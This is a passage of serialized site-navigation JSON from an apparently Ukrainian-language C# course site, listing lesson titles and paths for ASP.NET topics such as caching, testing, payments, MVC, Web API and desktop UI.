Hangfire","\u002Fcsharp\u002Faspnet\u002Fnotifications\u002Fhangfire-video-hls","01.csharp\u002F11.aspnet\u002F04.notifications\u002F12.hangfire-video-hls",{"title":924,"path":925,"stem":926},"Telegram-нотифікації: від одного повідомлення до масових розсилок і мульти-канального підходу","\u002Fcsharp\u002Faspnet\u002Fnotifications\u002Ftelegram-notifications","01.csharp\u002F11.aspnet\u002F04.notifications\u002F13.telegram-notifications",{"title":928,"icon":929,"path":930,"stem":931,"children":932,"page":59},"Інтернаціоналізація","i-lucide-languages","\u002Fcsharp\u002Faspnet\u002Fi18n","01.csharp\u002F11.aspnet\u002F05.i18n",[933,937],{"title":934,"path":935,"stem":936},"Інтернаціоналізація (i18n) у Minimal API: від A до Я","\u002Fcsharp\u002Faspnet\u002Fi18n\u002Finternationalization","01.csharp\u002F11.aspnet\u002F05.i18n\u002F01.internationalization",{"title":938,"path":939,"stem":940},"Humanizer: людиномовні рядки у .NET","\u002Fcsharp\u002Faspnet\u002Fi18n\u002Fhumanizer","01.csharp\u002F11.aspnet\u002F05.i18n\u002F02.humanizer",{"title":942,"icon":943,"path":944,"stem":945,"children":946,"page":59},"Кешування","i-lucide-layers","\u002Fcsharp\u002Faspnet\u002Fcaching","01.csharp\u002F11.aspnet\u002F06.caching",[947,951,955,959,963],{"title":948,"path":949,"stem":950},"Огляд кешування: чотири рівні і коли що обирати","\u002Fcsharp\u002Faspnet\u002Fcaching\u002Fcaching","01.csharp\u002F11.aspnet\u002F06.caching\u002F01.caching",{"title":952,"path":953,"stem":954},"IMemoryCache: кеш в оперативній пам'яті","\u002Fcsharp\u002Faspnet\u002Fcaching\u002Fmemory-cache","01.csharp\u002F11.aspnet\u002F06.caching\u002F02.memory-cache",{"title":956,"path":957,"stem":958},"IDistributedCache і Redis: розподілений кеш","\u002Fcsharp\u002Faspnet\u002Fcaching\u002Fdistributed-cache","01.csharp\u002F11.aspnet\u002F06.caching\u002F03.distributed-cache",{"title":960,"path":961,"stem":962},"Response Cache: HTTP-кешування через Cache-Control","\u002Fcsharp\u002Faspnet\u002Fcaching\u002Fresponse-cache","01.csharp\u002F11.aspnet\u002F06.caching\u002F04.response-cache",{"title":964,"path":965,"stem":966},"Output Cache: серверний кеш HTTP-відповідей (.NET 7+)","\u002Fcsharp\u002Faspnet\u002Fcaching\u002Foutput-cache","01.csharp\u002F11.aspnet\u002F06.caching\u002F05.output-cache",{"title":968,"icon":969,"path":970,"stem":971,"children":972,"page":59},"Тестування","i-lucide-test-tube","\u002Fcsharp\u002Faspnet\u002Ftesting","01.csharp\u002F11.aspnet\u002F07.testing",[973,977,981,985,989,993,997,1001,1005,1009,1013,1017,1021,1025,1029,1033,1037,1041,1045,1049,1053],{"title":974,"path":975,"stem":976},"Що таке тестування? Від інтуїції до науки","\u002Fcsharp\u002Faspnet\u002Ftesting\u002Fwhat-is-testing","01.csharp\u002F11.aspnet\u002F07.testing\u002F01.what-is-testing",{"title":978,"path":979,"stem":980},"Піраміда тестування — Стратегія, а не Догма","\u002Fcsharp\u002Faspnet\u002Ftesting\u002Ftesting-pyramid","01.csharp\u002F11.aspnet\u002F07.testing\u002F02.testing-pyramid",{"title":982,"path":983,"stem":984},"Дві Школи Тестування — Лондон проти Детройту","\u002Fcsharp\u002Faspnet\u002Ftesting\u002Ftesting-schools","01.csharp\u002F11.aspnet\u002F07.testing\u002F03.testing-schools",{"title":986,"path":987,"stem":988},"TDD та BDD — Тести як Дизайн-інструмент","\u002Fcsharp\u002Faspnet\u002Ftesting\u002Ftdd-and-bdd","01.csharp\u002F11.aspnet\u002F07.testing\u002F04.tdd-and-bdd",{"title":990,"path":991,"stem":992},"Що саме тестувати — Техніки аналізу та Циклomatична складність","\u002Fcsharp\u002Faspnet\u002Ftesting\u002Fwhat-to-test","01.csharp\u002F11.aspnet\u002F07.testing\u002F05.what-to-test",{"title":994,"path":995,"stem":996},"Тестові Фреймворки — Навіщо вони і що всередині","\u002Fcsharp\u002Faspnet\u002Ftesting\u002Ftest-frameworks","01.csharp\u002F11.aspnet\u002F07.testing\u002F06.test-frameworks",{"title":998,"path":999,"stem":1000},"xUnit — Факти, Теорії та Lifecycle тестів","\u002Fcsharp\u002Faspnet\u002Ftesting\u002Fxunit-basics","01.csharp\u002F11.aspnet\u002F07.testing\u002F07.xunit-basics",{"title":1002,"path":1003,"stem":1004},"xUnit Advanced — Fixtures, Кастомізація та Розширення","\u002Fcsharp\u002Faspnet\u002Ftesting\u002Fxunit-advanced","01.csharp\u002F11.aspnet\u002F07.testing\u002F08.xunit-advanced",{"title":1006,"path":1007,"stem":1008},"Moq — Глибоке занурення в мокування","\u002Fcsharp\u002Faspnet\u002Ftesting\u002Fmocking-with-moq","01.csharp\u002F11.aspnet\u002F07.testing\u002F09.mocking-with-moq",{"title":1010,"path":1011,"stem":1012},"Тестування Баз Даних — EF Core, SQLite та Testcontainers","\u002Fcsharp\u002Faspnet\u002Ftesting\u002Fdatabase-testing","01.csharp\u002F11.aspnet\u002F07.testing\u002F10.database-testing",{"title":1014,"path":1015,"stem":1016},"Integration Testing — Частина 1 [Теорія та WebApplicationFactory]","\u002Fcsharp\u002Faspnet\u002Ftesting\u002Fintegration-testing","01.csharp\u002F11.aspnet\u002F07.testing\u002F11.integration-testing",{"title":1018,"path":1019,"stem":1020},"Інтеграційне тестування — Практика","\u002Fcsharp\u002Faspnet\u002Ftesting\u002F11a.integration-testing-practice","01.csharp\u002F11.aspnet\u002F07.testing\u002F11a.integration-testing-practice",{"title":1022,"path":1023,"stem":1024},"Integration Testing — Частина 2 [Просунуті Сценарії та Testcontainers]","\u002Fcsharp\u002Faspnet\u002Ftesting\u002Fintegration-testing-advanced","01.csharp\u002F11.aspnet\u002F07.testing\u002F12.integration-testing-advanced",{"title":1026,"path":1027,"stem":1028},"Професійний Postman: Колекції, Змінні та GitHub Інтеграція","\u002Fcsharp\u002Faspnet\u002Ftesting\u002Fpostman-professional","01.csharp\u002F11.aspnet\u002F07.testing\u002F13.postman-professional",{"title":1030,"path":1031,"stem":1032},"HttpClient у Тестах Частина 1: Архітектура та MockHttpMessageHandler","\u002Fcsharp\u002Faspnet\u002Ftesting\u002Fhttpclient-testing","01.csharp\u002F11.aspnet\u002F07.testing\u002F14.httpclient-testing",{"title":1034,"path":1035,"stem":1036},"HttpClient у Тестах Частина 2: WireMock.Net та Resilience","\u002Fcsharp\u002Faspnet\u002Ftesting\u002Fwiremock-net","01.csharp\u002F11.aspnet\u002F07.testing\u002F15.wiremock-net",{"title":1038,"path":1039,"stem":1040},"Патерни та Анти-патерни Тестування: Test Smells","\u002Fcsharp\u002Faspnet\u002Ftesting\u002Ftesting-patterns","01.csharp\u002F11.aspnet\u002F07.testing\u002F16.testing-patterns",{"title":1042,"path":1043,"stem":1044},"Просунуті інструменти: Time, Snapshots та Властивості","\u002Fcsharp\u002Faspnet\u002Ftesting\u002Fadvanced-testing-tools","01.csharp\u002F11.aspnet\u002F07.testing\u002F17.advanced-testing-tools",{"title":1046,"path":1047,"stem":1048},"Тестування Архітектури з NetArchTest","\u002Fcsharp\u002Faspnet\u002Ftesting\u002Farchitecture-testing","01.csharp\u002F11.aspnet\u002F07.testing\u002F18.architecture-testing",{"title":1050,"path":1051,"stem":1052},"Тестування Продуктивності: BenchmarkDotNet, NBomber та k6","\u002Fcsharp\u002Faspnet\u002Ftesting\u002Fperformance-testing","01.csharp\u002F11.aspnet\u002F07.testing\u002F19.performance-testing",{"title":1054,"path":1055,"stem":1056},"Залишок плану для курсу \"Тестування ASP.NET Minimal API\"","\u002Fcsharp\u002Faspnet\u002Ftesting\u002Fremaining_plan","01.csharp\u002F11.aspnet\u002F07.testing\u002Fremaining_plan",{"title":1058,"icon":1059,"path":1060,"stem":1061,"children":1062,"page":59},"Платежі","i-lucide-credit-card","\u002Fcsharp\u002Faspnet\u002Fpayments","01.csharp\u002F11.aspnet\u002F08.payments",[1063,1067,1071,1075,1079,1083,1087,1091,1095,1099,1103,1107],{"title":1064,"path":1065,"stem":1066},"Основи платіжної інфраструктури","\u002Fcsharp\u002Faspnet\u002Fpayments\u002Fpayment-fundamentals","01.csharp\u002F11.aspnet\u002F08.payments\u002F01.payment-fundamentals",{"title":1068,"path":1069,"stem":1070},"Методи оплати в Україні","\u002Fcsharp\u002Faspnet\u002Fpayments\u002Fpayment-methods-ukraine","01.csharp\u002F11.aspnet\u002F08.payments\u002F02.payment-methods-ukraine",{"title":1072,"path":1073,"stem":1074},"PCI DSS та безпека платежів","\u002Fcsharp\u002Faspnet\u002Fpayments\u002Fpci-dss-security","01.csharp\u002F11.aspnet\u002F08.payments\u002F03.pci-dss-security",{"title":1076,"path":1077,"stem":1078},"Архітектура платіжної підсистеми","\u002Fcsharp\u002Faspnet\u002Fpayments\u002Fpayment-architecture","01.csharp\u002F11.aspnet\u002F08.payments\u002F04.payment-architecture",{"title":1080,"path":1081,"stem":1082},"Інтеграція LiqPay (ПриватБанк)","\u002Fcsharp\u002Faspnet\u002Fpayments\u002Fliqpay-integration","01.csharp\u002F11.aspnet\u002F08.payments\u002F05.liqpay-integration",{"title":1084,"path":1085,"stem":1086},"Інтеграція Monobank Acquiring API","\u002Fcsharp\u002Faspnet\u002Fpayments\u002Fmonobank-acquiring","01.csharp\u002F11.aspnet\u002F08.payments\u002F06.monobank-acquiring",{"title":1088,"path":1089,"stem":1090},"Інтеграція Stripe","\u002Fcsharp\u002Faspnet\u002Fpayments\u002Fstripe-integration","01.csharp\u002F11.aspnet\u002F08.payments\u002F07.stripe-integration",{"title":1092,"path":1093,"stem":1094},"Webhooks — глибоке занурення","\u002Fcsharp\u002Faspnet\u002Fpayments\u002Fwebhooks-deep-dive","01.csharp\u002F11.aspnet\u002F08.payments\u002F08.webhooks-deep-dive",{"title":1096,"path":1097,"stem":1098},"Підписки та рекурентні платежі","\u002Fcsharp\u002Faspnet\u002Fpayments\u002Fsubscriptions-recurring","01.csharp\u002F11.aspnet\u002F08.payments\u002F09.subscriptions-recurring",{"title":1100,"path":1101,"stem":1102},"Повернення коштів та диспути","\u002Fcsharp\u002Faspnet\u002Fpayments\u002Frefunds-disputes","01.csharp\u002F11.aspnet\u002F08.payments\u002F10.refunds-disputes",{"title":1104,"path":1105,"stem":1106},"Тестування платіжних інтеграцій","\u002Fcsharp\u002Faspnet\u002Fpayments\u002Ftesting-payments","01.csharp\u002F11.aspnet\u002F08.payments\u002F11.testing-payments",{"title":1108,"path":1109,"stem":1110},"Чекліст виходу в Production","\u002Fcsharp\u002Faspnet\u002Fpayments\u002Fproduction-checklist","01.csharp\u002F11.aspnet\u002F08.payments\u002F12.production-checklist",{"title":1112,"icon":1113,"items":1114,"path":1127,"stem":1128,"children":1129,"page":59},"Популярні бібліотеки","lucide:box",[1115,1116,1117,1118,1119,1120,1121,1122,1123,1124,1125,1126],"01.fluent-validation","02.mapster","03.erroror-result-pattern","04.serilog","05.mediatr","06.polly","07.health-checks","08.feature-management","09.fluent-email","10.quest-pdf","11.bogus","12.humanizer-guard","\u002Fcsharp\u002Faspnet\u002Flibraries","01.csharp\u002F11.aspnet\u002F09.libraries",[1130,1134,1138,1142,1146,1150,1154,1158,1162,1166,1170,1174,1178],{"title":1131,"path":1132,"stem":1133},"Валідація з FluentValidation в ASP.NET Core","\u002Fcsharp\u002Faspnet\u002Flibraries\u002Ffluent-validation","01.csharp\u002F11.aspnet\u002F09.libraries\u002F01.fluent-validation",{"title":1135,"path":1136,"stem":1137},"Маппінг об","\u002Fcsharp\u002Faspnet\u002Flibraries\u002Fmapster","01.csharp\u002F11.aspnet\u002F09.libraries\u002F02.mapster",{"title":1139,"path":1140,"stem":1141},"Обробка помилок з ErrorOr та Result Pattern в ASP.NET Core","\u002Fcsharp\u002Faspnet\u002Flibraries\u002Ferroror-result-pattern","01.csharp\u002F11.aspnet\u002F09.libraries\u002F03.erroror-result-pattern",{"title":1143,"path":1144,"stem":1145},"Структуроване логування з Serilog в ASP.NET Core","\u002Fcsharp\u002Faspnet\u002Flibraries\u002Fserilog","01.csharp\u002F11.aspnet\u002F09.libraries\u002F04.serilog",{"title":1147,"path":1148,"stem":1149},"CQRS та Mediator з MediatR в ASP.NET Core","\u002Fcsharp\u002Faspnet\u002Flibraries\u002Fmediatr","01.csharp\u002F11.aspnet\u002F09.libraries\u002F05.mediatr",{"title":1151,"path":1152,"stem":1153},"Відмовостійкість з Polly в ASP.NET Core","\u002Fcsharp\u002Faspnet\u002Flibraries\u002Fpolly","01.csharp\u002F11.aspnet\u002F09.libraries\u002F06.polly",{"title":1155,"path":1156,"stem":1157},"Health Checks в ASP.NET Core","\u002Fcsharp\u002Faspnet\u002Flibraries\u002Fhealth-checks","01.csharp\u002F11.aspnet\u002F09.libraries\u002F07.health-checks",{"title":1159,"path":1160,"stem":1161},"Feature Management та Feature Flags в ASP.NET Core","\u002Fcsharp\u002Faspnet\u002Flibraries\u002Ffeature-management","01.csharp\u002F11.aspnet\u002F09.libraries\u002F08.feature-management",{"title":1163,"path":1164,"stem":1165},"Відправка Email з FluentEmail в ASP.NET Core","\u002Fcsharp\u002Faspnet\u002Flibraries\u002Ffluent-email","01.csharp\u002F11.aspnet\u002F09.libraries\u002F09.fluent-email",{"title":1167,"path":1168,"stem":1169},"Генерація PDF з QuestPDF в ASP.NET Core","\u002Fcsharp\u002Faspnet\u002Flibraries\u002Fquest-pdf","01.csharp\u002F11.aspnet\u002F09.libraries\u002F10.quest-pdf",{"title":1171,"path":1172,"stem":1173},"Генерація тестових даних з Bogus в ASP.NET Core","\u002Fcsharp\u002Faspnet\u002Flibraries\u002Fbogus","01.csharp\u002F11.aspnet\u002F09.libraries\u002F11.bogus",{"title":1175,"path":1176,"stem":1177},"Humanizer та Guard Clauses в ASP.NET Core","\u002Fcsharp\u002Faspnet\u002Flibraries\u002Fhumanizer-guard","01.csharp\u002F11.aspnet\u002F09.libraries\u002F12.humanizer-guard",{"title":1179,"path":1180,"stem":1181},"План модуля 10.libraries — Популярні бібліотеки ASP.NET","\u002Fcsharp\u002Faspnet\u002Flibraries\u002Fplan","01.csharp\u002F11.aspnet\u002F09.libraries\u002Fplan",{"title":1183,"icon":1184,"path":1185,"stem":1186,"children":1187,"page":59},"Razor Pages","i-lucide-layout-template","\u002Fcsharp\u002Faspnet\u002Frazor-pages","01.csharp\u002F11.aspnet\u002F10.razor-pages",[1188,1192,1196,1200,1204,1208],{"title":1189,"path":1190,"stem":1191},"Від Minimal API до Razor Pages: концептуальний перехід","\u002Fcsharp\u002Faspnet\u002Frazor-pages\u002Ffrom-minimal-api","01.csharp\u002F11.aspnet\u002F10.razor-pages\u002F01.from-minimal-api",{"title":1193,"path":1194,"stem":1195},"PageModel: логіка сторінки Razor Pages","\u002Fcsharp\u002Faspnet\u002Frazor-pages\u002Fpage-model","01.csharp\u002F11.aspnet\u002F10.razor-pages\u002F02.page-model",{"title":1197,"path":1198,"stem":1199},"Razor синтаксис: шаблонізатор у .cshtml","\u002Fcsharp\u002Faspnet\u002Frazor-pages\u002Frazor-syntax","01.csharp\u002F11.aspnet\u002F10.razor-pages\u002F03.razor-syntax",{"title":1201,"path":1202,"stem":1203},"Tag Helpers: типізований HTML","\u002Fcsharp\u002Faspnet\u002Frazor-pages\u002Ftag-helpers","01.csharp\u002F11.aspnet\u002F10.razor-pages\u002F04.tag-helpers",{"title":1205,"path":1206,"stem":1207},"Форми і валідація: повний цикл обробки даних","\u002Fcsharp\u002Faspnet\u002Frazor-pages\u002Fforms-validation","01.csharp\u002F11.aspnet\u002F10.razor-pages\u002F05.forms-validation",{"title":1209,"path":1210,"stem":1211},"Практичний проєкт: TaskManager на Razor Pages","\u002Fcsharp\u002Faspnet\u002Frazor-pages\u002Fproject-task-manager","01.csharp\u002F11.aspnet\u002F10.razor-pages\u002F06.project-task-manager",{"title":1213,"path":1214,"stem":1215,"children":1216,"page":59},"ASP.NET Core MVC","\u002Fcsharp\u002Faspnet\u002Fmvc","01.csharp\u002F11.aspnet\u002F11.mvc",[1217,1221,1225,1229,1233,1237,1241,1245,1249,1253,1257,1261,1265,1269,1273,1277,1281,1285],{"title":1218,"path":1219,"stem":1220},"Патерн MVC: архітектура, що змінила веб","\u002Fcsharp\u002Faspnet\u002Fmvc\u002Fmvc-pattern","01.csharp\u002F11.aspnet\u002F11.mvc\u002F01.mvc-pattern",{"title":1222,"path":1223,"stem":1224},"Від Razor Pages до MVC: концептуальний перехід","\u002Fcsharp\u002Faspnet\u002Fmvc\u002Ffrom-razor-pages","01.csharp\u002F11.aspnet\u002F11.mvc\u002F02.from-razor-pages",{"title":1226,"path":1227,"stem":1228},"Controllers та Actions: серце MVC","\u002Fcsharp\u002Faspnet\u002Fmvc\u002Fcontrollers-actions","01.csharp\u002F11.aspnet\u002F11.mvc\u002F03.controllers-actions",{"title":1230,"path":1231,"stem":1232},"Маршрутизація в MVC: Convention vs Attribute Routing","\u002Fcsharp\u002Faspnet\u002Fmvc\u002Frouting-mvc","01.csharp\u002F11.aspnet\u002F11.mvc\u002F04.routing-mvc",{"title":1234,"path":1235,"stem":1236},"Model Binding: від HTTP до C#","\u002Fcsharp\u002Faspnet\u002Fmvc\u002Fmodel-binding","01.csharp\u002F11.aspnet\u002F11.mvc\u002F05.model-binding",{"title":1238,"path":1239,"stem":1240},"Views, ViewData, ViewBag, TempData і ViewModel","\u002Fcsharp\u002Faspnet\u002Fmvc\u002Fviews-viewdata-tempdata","01.csharp\u002F11.aspnet\u002F11.mvc\u002F06.views-viewdata-tempdata",{"title":1242,"path":1243,"stem":1244},"Filters: аспектно-орієнтоване програмування в MVC","\u002Fcsharp\u002Faspnet\u002Fmvc\u002Ffilters","01.csharp\u002F11.aspnet\u002F11.mvc\u002F07.filters",{"title":1246,"path":1247,"stem":1248},"Areas: структурування великих застосунків","\u002Fcsharp\u002Faspnet\u002Fmvc\u002Fareas","01.csharp\u002F11.aspnet\u002F11.mvc\u002F08.areas",{"title":1250,"path":1251,"stem":1252},"View Components: повторювані незалежні блоки UI","\u002Fcsharp\u002Faspnet\u002Fmvc\u002Fview-components","01.csharp\u002F11.aspnet\u002F11.mvc\u002F09.view-components",{"title":1254,"path":1255,"stem":1256},"Display та Editor Templates","\u002Fcsharp\u002Faspnet\u002Fmvc\u002Fdisplay-editor-templates","01.csharp\u002F11.aspnet\u002F11.mvc\u002F10.display-editor-templates",{"title":1258,"path":1259,"stem":1260},"Валідація: IValidatableObject та FluentValidation","\u002Fcsharp\u002Faspnet\u002Fmvc\u002Fvalidation-advanced","01.csharp\u002F11.aspnet\u002F11.mvc\u002F11.validation-advanced",{"title":1262,"path":1263,"stem":1264},"HTMX: інтерактивність через HTML-атрибути","\u002Fcsharp\u002Faspnet\u002Fmvc\u002Fhtmx","01.csharp\u002F11.aspnet\u002F11.mvc\u002F12.htmx",{"title":1266,"path":1267,"stem":1268},"HTMX у ASP.NET Core MVC: серверна інтеграція","\u002Fcsharp\u002Faspnet\u002Fmvc\u002Fajax-htmx-mvc","01.csharp\u002F11.aspnet\u002F11.mvc\u002F13.ajax-htmx-mvc",{"title":1270,"path":1271,"stem":1272},"Практичний проєкт: Каталог товарів з HTMX","\u002Fcsharp\u002Faspnet\u002Fmvc\u002Fhtmx-project","01.csharp\u002F11.aspnet\u002F11.mvc\u002F14.htmx-project",{"title":1274,"path":1275,"stem":1276},"Завантаження та обробка файлів","\u002Fcsharp\u002Faspnet\u002Fmvc\u002Ffile-upload","01.csharp\u002F11.aspnet\u002F11.mvc\u002F15.file-upload",{"title":1278,"path":1279,"stem":1280},"Глобалізація та Локалізація MVC","\u002Fcsharp\u002Faspnet\u002Fmvc\u002Fglobalization-localization","01.csharp\u002F11.aspnet\u002F11.mvc\u002F16.globalization-localization",{"title":1282,"path":1283,"stem":1284},"Підсумковий проєкт: Блог-платформа","\u002Fcsharp\u002Faspnet\u002Fmvc\u002Fmvc-project","01.csharp\u002F11.aspnet\u002F11.mvc\u002F17.mvc-project",{"title":1286,"path":1287,"stem":1288},"План курсу: ASP.NET Core MVC","\u002Fcsharp\u002Faspnet\u002Fmvc\u002Fplan","01.csharp\u002F11.aspnet\u002F11.mvc\u002Fplan",{"title":1290,"path":1291,"stem":1292,"children":1293,"page":59},"Web Api","\u002Fcsharp\u002Faspnet\u002Fweb-api","01.csharp\u002F11.aspnet\u002F12.web-api",[1294,1298,1302,1306,1310,1314,1318,1322,1326,1330,1334,1338,1342],{"title":1295,"path":1296,"stem":1297},"Від Minimal API до Controller-based API","\u002Fcsharp\u002Faspnet\u002Fweb-api\u002Ffrom-minimal-api-to-controllers","01.csharp\u002F11.aspnet\u002F12.web-api\u002F01.from-minimal-api-to-controllers",{"title":1299,"path":1300,"stem":1301},"ControllerBase, ActionResult\u003CT> та Response Types","\u002Fcsharp\u002Faspnet\u002Fweb-api\u002Fcontroller-base-actionresult","01.csharp\u002F11.aspnet\u002F12.web-api\u002F02.controller-base-actionresult",{"title":1303,"path":1304,"stem":1305},"Content Negotiation - JSON, XML та власні форматери","\u002Fcsharp\u002Faspnet\u002Fweb-api\u002Fcontent-negotiation","01.csharp\u002F11.aspnet\u002F12.web-api\u002F03.content-negotiation",{"title":1307,"path":1308,"stem":1309},"Версіонування API","\u002Fcsharp\u002Faspnet\u002Fweb-api\u002Fapi-versioning","01.csharp\u002F11.aspnet\u002F12.web-api\u002F04.api-versioning",{"title":1311,"path":1312,"stem":1313},"ProblemDetails та структурована обробка помилок","\u002Fcsharp\u002Faspnet\u002Fweb-api\u002Fproblemdetails-error-handling","01.csharp\u002F11.aspnet\u002F12.web-api\u002F05.problemdetails-error-handling",{"title":1315,"path":1316,"stem":1317},"Фільтри у Web API контексті","\u002Fcsharp\u002Faspnet\u002Fweb-api\u002Ffilters-for-api","01.csharp\u002F11.aspnet\u002F12.web-api\u002F06.filters-for-api",{"title":1319,"path":1320,"stem":1321},"Пагінація, фільтрація та сортування","\u002Fcsharp\u002Faspnet\u002Fweb-api\u002Fpagination-filtering-sorting","01.csharp\u002F11.aspnet\u002F12.web-api\u002F07.pagination-filtering-sorting",{"title":1323,"path":1324,"stem":1325},"HATEOAS та Resource Expansion","\u002Fcsharp\u002Faspnet\u002Fweb-api\u002Fhateoas-resource-expansion","01.csharp\u002F11.aspnet\u002F12.web-api\u002F08.hateoas-resource-expansion",{"title":1327,"path":1328,"stem":1329},"Гібридна архітектура - Minimal API + Controllers","\u002Fcsharp\u002Faspnet\u002Fweb-api\u002Fminimal-api-vs-controllers-hybrid","01.csharp\u002F11.aspnet\u002F12.web-api\u002F09.minimal-api-vs-controllers-hybrid",{"title":1331,"path":1332,"stem":1333},"Документація API - Swashbuckle, NSwag та генерація клієнтів","\u002Fcsharp\u002Faspnet\u002Fweb-api\u002Fapi-documentation-generation","01.csharp\u002F11.aspnet\u002F12.web-api\u002F10.api-documentation-generation",{"title":1335,"path":1336,"stem":1337},"Health Checks та моніторинг API","\u002Fcsharp\u002Faspnet\u002Fweb-api\u002Fhealth-checks-monitoring","01.csharp\u002F11.aspnet\u002F12.web-api\u002F11.health-checks-monitoring",{"title":1339,"path":1340,"stem":1341},"Підсумковий проєкт - Production-Ready REST API","\u002Fcsharp\u002Faspnet\u002Fweb-api\u002Fweb-api-project","01.csharp\u002F11.aspnet\u002F12.web-api\u002F12.web-api-project",{"title":1343,"path":1344,"stem":1345},"План курсу: ASP.NET Core Web API (Controllers)","\u002Fcsharp\u002Faspnet\u002Fweb-api\u002Fplan","01.csharp\u002F11.aspnet\u002F12.web-api\u002Fplan",{"title":1347,"icon":1348,"path":1349,"stem":1350,"children":1351,"page":59},"Моніторинг","i-lucide-activity","\u002Fcsharp\u002Faspnet\u002Fmonitoring","01.csharp\u002F11.aspnet\u002F13.monitoring",[1352,1356,1360],{"title":1353,"path":1354,"stem":1355},"Спостережуваність: від console.log до production-систем","\u002Fcsharp\u002Faspnet\u002Fmonitoring\u002Fobservability-intro","01.csharp\u002F11.aspnet\u002F13.monitoring\u002F01.observability-intro",{"title":1357,"path":1358,"stem":1359},"Health Checks: перший рівень observability","\u002Fcsharp\u002Faspnet\u002Fmonitoring\u002Fhealth-checks","01.csharp\u002F11.aspnet\u002F13.monitoring\u002F02.health-checks",{"title":1361,"path":1362,"stem":1363},"Вбудовані метрики .NET 10 та System.Diagnostics.Metrics","\u002Fcsharp\u002Faspnet\u002Fmonitoring\u002Fdotnet-metrics","01.csharp\u002F11.aspnet\u002F13.monitoring\u002F03.dotnet-metrics",{"title":1365,"icon":1366,"path":1367,"stem":1368,"children":1369,"page":59},"Desktop UI","i-lucide-app-window","\u002Fcsharp\u002Fdesktop-ui","01.csharp\u002F12.desktop-ui",[1370,1374,1378,1382,1386,1390,1394,1398,1402,1406,1410,1414,1418,1422,1426,1430,1434,1438,1442,1446,1450,1454,1458,1462,1466,1470,1474,1478,1482,1486,1490,1494,1498,1502,1506,1510,1514,1518,1522,1526,1530,1534,1538,1542,1546,1550,1554,1558,1562,1566,1570,1574,1578,1582,1586,1590,1594,1598,1602,1606,1610,1614,1618,1622,1626,1630,1634,1638,1642,1646,1650],{"title":1371,"path":1372,"stem":1373},"Що таке десктопна розробка?","\u002Fcsharp\u002Fdesktop-ui\u002Fwhat-is-desktop-dev","01.csharp\u002F12.desktop-ui\u002F01.what-is-desktop-dev",{"title":1375,"path":1376,"stem":1377},"Архітектура WPF — як влаштований графічний інтерфейс","\u002Fcsharp\u002Fdesktop-ui\u002Fwpf-architecture","01.csharp\u002F12.desktop-ui\u002F02.wpf-architecture",{"title":1379,"path":1380,"stem":1381},"Перший WPF-проєкт — від нуля до вікна","\u002Fcsharp\u002Fdesktop-ui\u002Ffirst-wpf-app","01.csharp\u002F12.desktop-ui\u002F03.first-wpf-app",{"title":1383,"path":1384,"stem":1385},"Перший Avalonia-проєкт: WPF для всіх платформ","\u002Fcsharp\u002Fdesktop-ui\u002F03a.first-avalonia-app","01.csharp\u002F12.desktop-ui\u002F03a.first-avalonia-app",{"title":1387,"path":1388,"stem":1389},"XAML: декларативний інтерфейс","\u002Fcsharp\u002Fdesktop-ui\u002Fxaml-basics","01.csharp\u002F12.desktop-ui\u002F04.xaml-basics",{"title":1391,"path":1392,"stem":1393},"Fluent UI у WPF — сучасний дизайн Windows 11","\u002Fcsharp\u002Fdesktop-ui\u002F04a.wpf-fluent-ui","01.csharp\u002F12.desktop-ui\u002F04a.wpf-fluent-ui",{"title":1395,"path":1396,"stem":1397},"WPF UI — сучасна бібліотека Fluent контролів","\u002Fcsharp\u002Fdesktop-ui\u002F04b.wpf-ui-library","01.csharp\u002F12.desktop-ui\u002F04b.wpf-ui-library",{"title":1399,"path":1400,"stem":1401},"HandyControl — велика бібліотека UI контролів для WPF","\u002Fcsharp\u002Fdesktop-ui\u002F04c.handycontrol-library","01.csharp\u002F12.desktop-ui\u002F04c.handycontrol-library",{"title":1403,"path":1404,"stem":1405},"Простори імен та ресурси XAML","\u002Fcsharp\u002Fdesktop-ui\u002Fxaml-namespaces-resources","01.csharp\u002F12.desktop-ui\u002F05.xaml-namespaces-resources",{"title":1407,"path":1408,"stem":1409},"XAML в Avalonia: ключові відмінності від WPF","\u002Fcsharp\u002Fdesktop-ui\u002F05a.avalonia-xaml-differences","01.csharp\u002F12.desktop-ui\u002F05a.avalonia-xaml-differences",{"title":1411,"path":1412,"stem":1413},"Розширення розмітки XAML (Markup Extensions)","\u002Fcsharp\u002Fdesktop-ui\u002Fxaml-markup-extensions","01.csharp\u002F12.desktop-ui\u002F06.xaml-markup-extensions",{"title":1415,"path":1416,"stem":1417},"Панелі Layout: StackPanel, WrapPanel, DockPanel","\u002Fcsharp\u002Fdesktop-ui\u002Flayout-panels-part1","01.csharp\u002F12.desktop-ui\u002F07.layout-panels-part1",{"title":1419,"path":1420,"stem":1421},"Grid, Canvas, UniformGrid","\u002Fcsharp\u002Fdesktop-ui\u002Flayout-panels-part2","01.csharp\u002F12.desktop-ui\u002F07.layout-panels-part2",{"title":1423,"path":1424,"stem":1425},"Просунуті техніки Layout","\u002Fcsharp\u002Fdesktop-ui\u002Flayout-advanced","01.csharp\u002F12.desktop-ui\u002F08.layout-advanced",{"title":1427,"path":1428,"stem":1429},"Адаптивний Layout та найкращі практики","\u002Fcsharp\u002Fdesktop-ui\u002Flayout-responsive","01.csharp\u002F12.desktop-ui\u002F09.layout-responsive",{"title":1431,"path":1432,"stem":1433},"Layout в Avalonia: відмінності та нові можливості","\u002Fcsharp\u002Fdesktop-ui\u002F09a.layout-avalonia","01.csharp\u002F12.desktop-ui\u002F09a.layout-avalonia",{"title":1435,"path":1436,"stem":1437},"Button, Image, ProgressBar та інші базові контроли","\u002Fcsharp\u002Fdesktop-ui\u002Fbasic-controls","01.csharp\u002F12.desktop-ui\u002F10.basic-controls",{"title":1439,"path":1440,"stem":1441},"Контроли в Avalonia: відмінності від WPF","\u002Fcsharp\u002Fdesktop-ui\u002F10a.controls-avalonia","01.csharp\u002F12.desktop-ui\u002F10a.controls-avalonia",{"title":1443,"path":1444,"stem":1445},"Текстові контроли — TextBlock, TextBox, RichTextBox","\u002Fcsharp\u002Fdesktop-ui\u002Ftext-controls","01.csharp\u002F12.desktop-ui\u002F11.text-controls",{"title":1447,"path":1448,"stem":1449},"Контроли вибору — CheckBox, RadioButton, ComboBox, ListBox, DatePicker","\u002Fcsharp\u002Fdesktop-ui\u002Fselection-controls","01.csharp\u002F12.desktop-ui\u002F12.selection-controls",{"title":1451,"path":1452,"stem":1453},"Content Model — GroupBox, Expander, TabControl, StatusBar","\u002Fcsharp\u002Fdesktop-ui\u002Fcontent-controls","01.csharp\u002F12.desktop-ui\u002F13.content-controls",{"title":1455,"path":1456,"stem":1457},"UI\u002FUX принципи десктопних 